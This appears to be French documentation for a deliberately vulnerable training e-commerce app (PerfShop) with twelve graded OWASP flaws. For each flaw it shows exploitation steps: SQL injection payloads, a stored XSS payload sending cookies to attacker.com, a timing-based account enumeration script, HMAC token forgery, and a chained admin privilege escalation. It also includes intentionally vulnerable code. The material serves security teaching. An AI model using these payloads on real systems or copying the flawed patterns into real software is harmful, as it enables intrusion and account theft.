Chaos Sécurité¶
Le Chaos Sécurité injecte des failles de sécurité web classiques (OWASP Top 10) dans le parcours e-commerce de PerfShop. Contrairement au Chaos Métier (logique fonctionnelle), ces anomalies touchent la surface d'attaque : injection SQL, contrôle d'accès, exposition de données, etc.
Principe pédagogique¶
Les étudiants doivent identifier, exploiter et documenter les failles — pas les corriger.
Règle d'or
Avec les bonnes données de test, une commande doit toujours pouvoir aboutir, quel que soit le niveau actif. Les failles sont pédagogiques — elles ne bloquent pas le parcours.
Les failles sont cumulatives : le niveau 2 inclut les failles du niveau 1, etc.
Usage pédagogique uniquement
Environnement isolé. Ne jamais utiliser ces techniques sur des systèmes réels.
Niveaux¶
| Niveau | Label | Failles actives | Profil étudiant |
|---|---|---|---|
| 0 | Désactivé | 0 | Référence — tout sécurisé |
| 1 | Junior | 3 (S1–S3) | Burp Suite basique, curl |
| 2 | Confirmé | 6 (S1–S6) | Scripts Python/JS, proxy, timing |
| 3 | Expert | 9 (S1–S9) | Exploitation HMAC, traversal avancé |
| 4 | Master | 12 (S1–S12) | Fuzzing, scénario chaîné, élévation de privilèges |
Failles niveau 1 — Junior¶
S1 · Injection SQL sur /api/products/search¶
OWASP A03 — Injection
Implémentation : ProductController.searchProducts() + ProductRepository.slowSearchFullScan()
// Niveau 0 : JPQL paramétré — aucune injection possible
productService.searchProducts(q, category, minPrice, maxPrice, pageable);
// Niveau 1+ : SQL native sans PreparedStatement — injection possible
List<Product> raw = productRepository.slowSearchFullScan(q);
// → SELECT * FROM products WHERE name LIKE '%<q>%' (q non échappé)
Exploitation :
GET /api/products/search?q=' OR '1'='1
→ retourne TOUS les produits (bypass du filtre)
GET /api/products/search?q='; SELECT password FROM users--
→ erreur SQL révélatrice de la structure de la base
Détection : injection ' dans le paramètre q → message d'erreur SQL dans la réponse ou comportement anormal.
S2 · IDOR sur les commandes¶
OWASP A01 — Broken Access Control
Implémentation : OrderController.getOrder() et getOrderDetails()
// Niveau 0 : vérification d'appartenance stricte
if (!order.getUser().getId().equals(user.getId())) return 403;
// Niveau 1+ : vérification désactivée — tout user connecté peut voir n'importe quelle commande
if (securityChaosService.isIdorActive()) {
// log cross-user si détecté, mais retourne la commande sans 403
return ResponseEntity.ok(order);
}
Exploitation :
GET /api/orders/1 → commande de l'utilisateur #1 (même connecté en tant qu'user #42)
GET /api/orders/2 → commande de l'utilisateur #2
→ Enumération séquentielle possible : 1, 2, 3, ...
Détection : remplacer l'ID dans l'URL par un ID d'une autre commande → réponse 200 au lieu de 403.
S3 · Hash BCrypt exposé dans /api/auth/me¶
OWASP A02 — Cryptographic Failures
Implémentation : UserController.getProfile() → buildProfileDtoWithHash()
// Niveau 0 : DTO sans champ password
buildProfileDto(fresh);
// Niveau 1+ : hash BCrypt ajouté au DTO
dto.put("password", u.getPassword()); // "$2a$10$..."
Exploitation :
GET /api/auth/me
→ {
"email": "user@example.com",
"password": "$2a$10$XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
...
}
Le hash BCrypt peut être attaqué hors-ligne par dictionnaire (hashcat, john) :
Détection : observer la réponse de /api/auth/me — présence du champ password avec un hash $2a$.
Failles niveau 2 — Confirmé¶
S4 · XSS stocké dans l'adresse de livraison¶
OWASP A03 — Injection
Implémentation : OrderController.createOrder() → SecurityChaosService.processShippingAddress()
// Niveau 0 : adresse sanitisée (XSS impossible)
// Niveau 2+ : adresse stockée telle quelle en base de données
return address; // "<script>alert('XSS')</script> stocké en DB"
Exploitation :
POST /api/orders
{
"shippingAddress": "<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>",
...
}
L'adresse est stockée en DB — si un admin visualise la liste des commandes sans échappement HTML, le script s'exécute dans son navigateur (XSS persistant / stocké).
Détection : soumettre une commande avec une payload <script>alert(1)</script> dans l'adresse,
puis vérifier que la réponse ou la page admin affiche la balise non échappée.
S5 · Falsification de prix¶
OWASP A04 — Insecure Design
Implémentation : OrderController.createOrder() lit unitPrice depuis le body JSON et l'injecte via _chaosClientPrice dans OrderService.createOrderFromItems()
// Niveau 0 : prix récupéré depuis la DB (product.getPrice())
BigDecimal basePrice = product.getPrice();
// Niveau 2+ : prix du client accepté sans vérification
Object chaosPrice = rawItem.get("_chaosClientPrice");
if (chaosPrice instanceof BigDecimal cp) basePrice = cp;
Exploitation :
POST /api/orders
{
"items": [
{ "productId": 1, "quantity": 1, "unitPrice": 0.01 }
]
}
→ Commande créée avec total = 0,01 € au lieu de 99,99 €
Détection : intercepter la requête POST /api/orders (Burp Suite), modifier unitPrice → observer le totalAmount dans la réponse.
S6 · Timing Attack sur le login¶
OWASP A07 — Identification and Authentication Failures
Implémentation : AuthController.login() mesure et logue le temps de réponse
long startMs = System.currentTimeMillis();
Optional<User> userOpt = authService.login(email, password, session);
long timingMs = System.currentTimeMillis() - startMs;
// Niveau 2+ : timing loggué et observable
securityChaosService.recordTimingAttack(email, userOpt.isPresent(), timingMs);
Comportement observable :
| Cas | Durée | Explication |
|---|---|---|
| Email inexistant | < 5 ms | Pas de BCrypt — retour immédiat |
| Email existant (mauvais MDP) | ~300 ms | BCrypt s'exécute même si le mot de passe est faux |
Exploitation :
import requests, time
emails = ["admin@perfshop.fr", "test@test.com", "unknown@xyz.com"]
for email in emails:
t0 = time.time()
requests.post("/api/auth/login", json={"email": email, "password": "wrong"})
ms = (time.time() - t0) * 1000
print(f"{email}: {ms:.0f}ms {'→ COMPTE EXISTANT' if ms > 200 else ''}")
Détection : mesurer les temps de réponse pour des emails connus vs inconnus — l'écart de ~300ms révèle l'existence d'un compte.
Failles niveau 3 — Expert¶
S7 · Token HMAC à clé faible¶
OWASP A02 — Cryptographic Failures
Implémentation : AuthController.login() → header X-Debug-Token, signé avec SecurityChaosService.WEAK_HMAC_KEY = "secret123"
Format du token :
Exploitation :
- Se connecter → intercepter le header
X-Debug-Token - Décoder la partie gauche (Base64url) → obtenir
userId:timestamp - Modifier le
userId(ex:1pour l'admin) - Re-signer avec la clé
"secret123"visible dans les sources :
import hmac, hashlib, base64, time
key = b"secret123"
payload = f"1:{int(time.time()*1000)}" # userId=1 (admin)
sig = hmac.new(key, payload.encode(), hashlib.sha256).digest()
token = (
base64.urlsafe_b64encode(payload.encode()).rstrip(b'=').decode() +
"." +
base64.urlsafe_b64encode(sig).rstrip(b'=').decode()
)
print("X-Debug-Token:", token)
Détection : capturer le header X-Debug-Token dans la réponse de POST /api/auth/login, décoder la partie gauche en Base64url.
S8 · Path Traversal sur l'endpoint facture¶
OWASP A01 — Broken Access Control
Implémentation : OrderController.getInvoice() → SecurityChaosService.processInvoiceFormat()
// Niveau 0-2 : seuls "pdf" et "csv" sont acceptés
if (!"pdf".equals(format) && !"csv".equals(format)) return 400;
// Niveau 3+ : format non validé — traversal simulé
PathTraversalResult result = securityChaosService.processInvoiceFormat(format, id, email);
Exploitation :
GET /api/orders/1/invoice?format=../../etc/passwd
→ { "content": "# [SIMULE] /etc/passwd\nroot:x:0:0:root:/root:/bin/bash\n..." }
GET /api/orders/1/invoice?format=../../application.yml
→ { "content": "# [SIMULE] application.yml\nspring.datasource.password=[REDACTED]" }
Simulation pédagogique
L'accès filesystem est simulé — aucun fichier réel n'est lu. Le contenu retourné est fictif, conçu pour montrer ce qu'un vrai traversal exposerait.
Détection : ajouter ../ dans le paramètre format → observer si la réponse contient du contenu de fichier système.
S9 · Mass Assignment sur le profil¶
OWASP A08 — Software and Data Integrity Failures
Implémentation : UserController.updateProfile() → SecurityChaosService.detectAndRecordMassAssignment()
// Niveau 0-2 : whitelist stricte — seuls civility, firstName, lastName, etc. sont traités
// Niveau 3+ : champs sensibles du body acceptés sans whitelist
if (securityChaosService.isMassAssignmentActive()) {
for (String field : detected) {
switch (field) {
case "email" -> user.setEmail(val);
case "password" -> user.setPassword(val); // hash non appliqué — faille intentionnelle
}
}
}
Exploitation :
PUT /api/auth/me
{
"firstName": "Hacker",
"email": "admin@perfshop.fr",
"password": "monNouveauMotDePasse"
}
→ L'email et le mot de passe sont modifiés sans vérification
Cas particulier du mot de passe
En mode mass assignment, le mot de passe est stocké en clair (sans BCrypt) — c'est une faille intentionnelle illustrant une implémentation naïve sans hachage.
Détection : envoyer email ou password dans le body de PUT /api/auth/me → vérifier si les valeurs sont appliquées en consultant /api/auth/me.
Observabilité¶
Chaque faille déclenchée produit :
- un log
WARNdans les logs du containerperfshop-app(préfixe[SecurityChaos][SN]) - une entrée dans l'activity log visible dans l'onglet Sécurité du monitoring
Endpoint logs :
Endpoint statut + compteurs :
Endpoint catalogue pédagogique :
Failles niveau 4 — Master¶
Scénario chaîné S10 → S11 → S12
Le niveau Master expose un portail admin caché accessible via la route /admin du shop.
Les trois failles forment une chaîne d'attaque progressive menant à une élévation complète de privilèges.
S10 · Stats portail sans authentification¶
OWASP A09 — Security Logging and Monitoring Failures / Broken Access Control
Implémentation : AdminPortalController.getPortalStats()
Réponse exposée :
{
"userCount": 42,
"orderCount": 137,
"productCount": 50,
"adminContact": "admin@perfshop.fr",
"version": "PerfShop Portal v1.0",
"status": "operational"
}
Le champ adminContact expose l'email du superadmin — information clé pour l'exploitation de S11.
Découverte : fuzzing de routes (/admin, /api/admin/portal/stats) ou analyse du bundle JS React.
S11 · SQLi sur le login du portail¶
OWASP A03 — Injection
Implémentation : AdminPortalController.portalLogin() — requête native concaténée
// INTENTIONNELLEMENT vulnérable
String sql = "SELECT * FROM admin_users WHERE email = '" + emailPayload + "' LIMIT 1";
entityManager.createNativeQuery(sql, AdminUser.class).getResultList();
Exploitation :
POST /api/admin/portal/login
{ "email": "admin' OR '1'='1' --", "password": "anything" }
→ 200 OK
{
"success": true,
"adminToken": "<uuid>",
"email": "admin@perfshop.fr",
"isSuperAdmin": false
}
Le token adminToken est injecté dans VALID_ADMIN_TOKENS — il donne accès au chaos-admin et au monitoring.
S12 · IDOR — élévation de privilèges¶
OWASP A01 — Broken Access Control
Implémentation : AdminPortalController.promoteAccount() — vérification isSuperAdmin absente
// Auth minimale : token requis, mais PAS la vérification isSuperAdmin
if (!AdminAuth.isAdmin(session, tok)) return 401;
// FAILLE : normalement seul un superAdmin peut promouvoir
target.setSuperAdmin(true);
adminUserRepository.save(target);
Exploitation :
PUT /api/admin/portal/accounts/1/promote
X-Admin-Token: <token obtenu via S11>
→ 200 OK
{
"success": true,
"email": "admin@perfshop.fr",
"isSuperAdmin": true,
"message": "Compte promu superAdmin avec succès"
}
L'attaquant dispose maintenant d'un accès superAdmin complet.
Scénario complet Master¶
1. Fuzzing → découverte de /admin dans le bundle JS React
2. GET /api/admin/portal/stats [S10] → email superadmin récupéré sans auth
3. POST /api/admin/portal/login avec payload SQLi [S11] → adminToken valide
4. Accès au chaos-admin et monitoring avec le token obtenu
5. PUT /api/admin/portal/accounts/1/promote [S12] → superAdmin
Portail caché — comportement réaliste
Quand level < 4, tous les endpoints /api/admin/portal/* retournent 404 avec corps vide —
indiscernable d'un endpoint inexistant pour un scanner automatique.
La route React /admin est toujours dans le bundle JS mais les API ne répondent pas.
Corrélation faille → monitoring¶
| Faille | Type log | Sévérité | Signal monitoring |
|---|---|---|---|
| S1 SQLi | S1_SQLI |
ERROR/WARN | Compteur S1_sqli ↑ |
| S2 IDOR | S2_IDOR |
ERROR | Compteur S2_idor ↑ |
| S3 Hash | S3_HASH |
WARN | Compteur S3_hash ↑ |
| S4 XSS | S4_XSS |
ERROR/WARN | Compteur S4_xss ↑ |
| S5 Prix | S5_PRICE |
ERROR | Compteur S5_price ↑ |
| S6 Timing | S6_TIMING |
WARN/ERROR | Compteur S6_timing ↑ |
| S7 Token | S7_TOKEN |
WARN/ERROR | Compteur S7_token ↑ |
| S8 Path | S8_PATH |
ERROR | Compteur S8_path ↑ |
| S9 Mass | S9_MASS |
ERROR | Compteur S9_mass ↑ |
| S10 Stats | S10_PORTAL |
ERROR | Compteur S10_portal ↑ |
| S11 SQLi portail | S11_SQLI |
ERROR/WARN | Compteur S11_sqli ↑ |
| S12 Privesc | S12_IDOR |
ERROR | Compteur S12_idor ↑ |
Contrôle admin¶
POST /api/admin/chaos/security
{ "level": 1 } # 0 = off, 1 = Junior, 2 = Confirmé, 3 = Expert, 4 = Master
Accessible depuis l'onglet 🔒 Chaos Sécurité du chaos-admin.
Reset :
Également inclus dans le Reset tout global (POST /api/admin/chaos/reset).